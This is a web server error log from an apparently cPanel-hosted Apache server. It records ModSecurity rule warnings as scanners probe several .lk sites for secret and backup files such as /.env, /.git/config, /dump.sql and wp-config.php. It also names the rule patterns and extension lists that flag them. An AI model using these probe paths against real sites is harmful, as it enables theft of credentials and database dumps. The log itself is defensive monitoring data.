[Fri Jul 17 08:28:01.318901 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almaOQdFk8dCrY-oJNkc-AAAACA"]
[Fri Jul 17 08:28:01.321549 2026] [authz_core:error] [pid 1994976:tid 1994976] [client 54.166.225.33:0] AH01630: client denied by server configuration: /home/veneelk/public_html/coatrent/wp-config.php
[Fri Jul 17 08:28:01.327894 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almaOVxP5-SsqbGuGB2lAQAAAAA"]
[Fri Jul 17 08:28:01.328176 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almaOVxP5-SsqbGuGB2lAQAAAAA"]
[Fri Jul 17 08:28:01.328512 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almaOVxP5-SsqbGuGB2lAQAAAAA"]
[Fri Jul 17 08:28:01.334781 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almaOXRlmrtCoY_COpciggAAAAg"]
[Fri Jul 17 08:28:01.335125 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almaOXRlmrtCoY_COpciggAAAAg"]
[Fri Jul 17 08:28:01.335405 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almaOXRlmrtCoY_COpciggAAAAg"]
[Fri Jul 17 08:28:01.336466 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almaOQPhWp7RzB65h36exAAAAA0"]
[Fri Jul 17 08:28:01.336734 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almaOQPhWp7RzB65h36exAAAAA0"]
[Fri Jul 17 08:28:01.337068 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almaOQPhWp7RzB65h36exAAAAA0"]
[Fri Jul 17 08:28:01.340755 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almaOXRlmrtCoY_COpcigwAAAAg"]
[Fri Jul 17 08:28:01.341163 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almaOXRlmrtCoY_COpcigwAAAAg"]
[Fri Jul 17 08:28:01.341450 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almaOXRlmrtCoY_COpcigwAAAAg"]
[Fri Jul 17 08:28:01.347612 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almaOTPV8F2Ufi3kXba6mQAAAB4"]
[Fri Jul 17 08:28:01.348150 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almaOTPV8F2Ufi3kXba6mQAAAB4"]
[Fri Jul 17 08:28:01.348571 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almaOTPV8F2Ufi3kXba6mQAAAB4"]
[Fri Jul 17 08:28:01.351781 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almaOQPhWp7RzB65h36exQAAAA0"]
[Fri Jul 17 08:28:01.352200 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almaOQPhWp7RzB65h36exQAAAA0"]
[Fri Jul 17 08:28:01.352550 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almaOQPhWp7RzB65h36exQAAAA0"]
[Fri Jul 17 08:28:01.363874 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaOQdFk8dCrY-oJNkc-QAAACA"]
[Fri Jul 17 08:28:01.364170 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaOQdFk8dCrY-oJNkc-QAAACA"]
[Fri Jul 17 08:28:01.364538 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaOQdFk8dCrY-oJNkc-QAAACA"]
[Fri Jul 17 08:28:01.379945 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almaOZOFLENLI63GGOEKQAAAAAQ"]
[Fri Jul 17 08:28:01.397734 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.166.225.33:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "coatrent.venee.lk"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almaOVh1WDijTxd1xw5I2wAAAAc"]
[Fri Jul 17 08:28:01.397794 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.166.225.33:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "coatrent.venee.lk"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almaOVh1WDijTxd1xw5I2wAAAAc"]
[Fri Jul 17 08:28:01.408822 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/database.sql"] [unique_id "almaOVxP5-SsqbGuGB2lAgAAAAA"]
[Fri Jul 17 08:28:01.409202 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/database.sql"] [unique_id "almaOVxP5-SsqbGuGB2lAgAAAAA"]
[Fri Jul 17 08:28:01.410645 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/database.sql"] [unique_id "almaOVxP5-SsqbGuGB2lAgAAAAA"]
[Fri Jul 17 08:28:01.427841 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almaOZOFLENLI63GGOEKQAAAAAQ"]
[Fri Jul 17 08:28:01.632291 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almaOZOFLENLI63GGOEKQAAAAAQ"]
[Fri Jul 17 08:28:01.658630 2026] [security2:error] [pid 1993715:tid 1993715] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.dev"] [unique_id "almaOXRlmrtCoY_COpcihgAAAAg"]
[Fri Jul 17 08:28:01.658935 2026] [security2:error] [pid 1993715:tid 1993715] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.dev"] [unique_id "almaOXRlmrtCoY_COpcihgAAAAg"]
[Fri Jul 17 08:28:01.660352 2026] [security2:error] [pid 1993715:tid 1993715] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.dev"] [unique_id "almaOXRlmrtCoY_COpcihgAAAAg"]
[Fri Jul 17 08:28:02.381054 2026] [security2:error] [pid 1993668:tid 1993668] [client 98.89.33.80:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almaOhAi3pC6yjXGNq19PAAAAAU"]
[Fri Jul 17 08:28:03.171224 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env"] [unique_id "almaO1xP5-SsqbGuGB2lBwAAAAA"]
[Fri Jul 17 08:28:03.171463 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env"] [unique_id "almaO1xP5-SsqbGuGB2lBwAAAAA"]
[Fri Jul 17 08:28:03.171828 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO1xP5-SsqbGuGB2lBwAAAAA"]
